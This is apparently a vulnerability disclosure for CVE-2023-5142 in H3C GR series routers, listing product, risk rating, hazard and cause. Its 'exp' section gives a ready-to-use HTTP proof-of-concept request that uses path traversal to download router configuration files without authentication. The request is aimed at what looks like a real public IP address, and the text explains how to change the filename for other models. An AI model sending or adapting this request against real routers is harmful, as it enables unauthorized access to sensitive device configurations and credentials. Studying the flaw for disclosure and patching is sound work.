CVE-2023-5142# H3C GR series router system management has unauthorized access vulnerability
**Product**: GR series router
**version**: all
**rating**: high-risk
**website**: http://www.h3c.com/
**Hazards**: Attackers can exploit this vulnerability to obtain sensitive information from routers by constructing special request packets to bypass identity verification.
**principle**: The router did not authenticate directory access and related files
**exp**:
Note: It is necessary to modify the file name suffix in POC, such as GR8300.cfg
```http
GET /userLogin.asp/../actionpolicy_status/../GR1100-P.cfg HTTP/1.1
Host: 59.35.220.76:8989
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
```



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└── [1.1K] README.md
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